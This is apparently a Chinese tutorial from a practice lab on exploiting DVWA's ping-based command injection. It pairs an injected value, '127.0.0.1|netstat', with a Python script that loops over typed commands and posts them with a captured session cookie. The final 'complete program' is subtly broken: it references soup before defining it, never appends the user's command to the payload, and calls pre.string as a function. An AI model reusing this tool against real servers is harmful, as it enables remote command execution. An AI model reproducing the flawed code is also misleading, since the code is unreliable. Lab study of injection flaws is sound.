这里的靶场还是用到的是DVWA,在DVWA中的第二部分就是一个典型的命令注入漏洞,这里提供了一个ping功能,只要用户输入IP地址,就可以实现对该IP地址的ping操作
但是在这个输入IP框中不止可以执行ping命令,还能一起执行其他的命令,这就是命令注入的漏洞
用Python编写一个命令注入漏洞
现在用Python编写一个针对DVWA的命令注入程序,首先我们需要获取关于DVWA中的命令注入漏洞的一些信息,这里我们使用request库来进行请求,其中要访问的链接如下:
url = 'http://192.168.157.129/dvwa/vulnerabilities/exec/'
然后利用session模块来保持登录状态,这里为了简化代码,我们直接使用bp抓包获得的cookie值
Cookies = dict(security = 'low',PHPSESSID='sa214872sjd23348ccjsi34')
提交的信息如下
ataackpayload = {
'ip':'127.0.0.1',
'submit':'submit'
}
这个程序最重要的字段是IP,这就是我们提交的字段内容,只需要将我们的命令附加到这个字段中,例如将IP的值设置为127.0.0.1|netstat,我们所执行命令的结果就会显示到下面。我们需要将想要的返回内容截取出来,这里用到的是Beautifulsoup模块,这个模块经常用于爬虫里面用来匹配你想要的字段,用在这里也合适。
soup =BeautifulSoup(html,'lxml')
#这里就是将一个返回的html文件作为一个对象赋给soup,以便后序执行匹配操作
代码中出现的html是一个页面的内容,例如本例中就是返回值res的text属性,lxml是python的一个解析库,支持html和xml的解析,支持xpath解析方式。
获取所有的pre标签,并遍历输出pre标签中的字符,这是一种通用方法,如果想要获取所有的a标签,将代码中的pre换成a即可。
for pre in soup.find(name='pre'):
print(pre.string)
下面给出了完整的程序,在其中添加了用户输入的功能,当用户在使用这个程序的时候,可以按照自己的想法输入命令,该程序会将其追加到一个IP地址的后面提交给服务器,服务器执行之后会将结果显示出来,程序中使用了一个永真循环,所以会一直响应用户的需求,直到用户输入quit。
import requests
from bs4 import BeautifulSoup
url = 'http://192.168.157.129/dvwa/vulnerabilities/exec/'
for pre in soup.find(name='pre'):
print(pre.string)
def Command_inject(command):
Cookies = dict(security = 'low',PHPSESSID='sa214872sjd23348ccjsi34')
ataackpayload = {
'ip':'127.0.0.1',
'submit':'submit'
}
p = requests.post(url=url,cookies=Cookies,data=ataackpayload)
soup =BeautifulSoup(p.text,'lxml')
for pre in soup.find_all(name='pre'):
print(pre.string())
while 1:
cmd = input("输入quit即退出").strip()
if len(cmd)==0:
continue
if cmd == 'quit':
break
Command_inject(cmd)
今天的学习分享就到这里,如果有什么不对还请大家指正,谢谢大家的观看。